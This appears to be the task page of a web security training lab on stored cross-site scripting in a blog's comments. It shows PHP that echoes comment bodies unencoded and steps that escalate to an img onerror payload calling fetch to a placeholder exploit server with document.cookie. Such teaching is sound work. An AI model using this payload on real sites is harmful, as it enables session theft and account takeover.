Scenario

The blog renders comment bodies without encoding:

echo "<section class='comment'>" . $comment['body'] . "</section>";

A background job simulates a logged-in victim opening the commented post on a loop.

Your objective

Store a comment that sends the victim's session cookie to your exploit server, then use it to access their account. Solved when you load the victim's account page.

Capture 2 flag(s) and record the exact technique for each step.

Getting started

1. Post <b>probe</b> as a comment and confirm it renders bold.
2. Escalate to script execution with <img src=x onerror="...">.
3. Point the handler at your exploit server: fetch('https://YOUR-EXPLOIT-SERVER/?c='+document.cookie).
4. Wait for the victim bot to hit the page; read the cookie from your access log.
5. Submit two flags: the cookie name that was stolen, and the victim's account email.

Connecting

Press Launch Lab to build your own instance, then use the How to connect panel — it shows the browser link as soon as the app is running. Hit Stop when you are done, or Relaunch / Reset for a clean copy.

Credentials: wiener:peter (a normal user); an automated "victim" views the post every 15 s.

Hints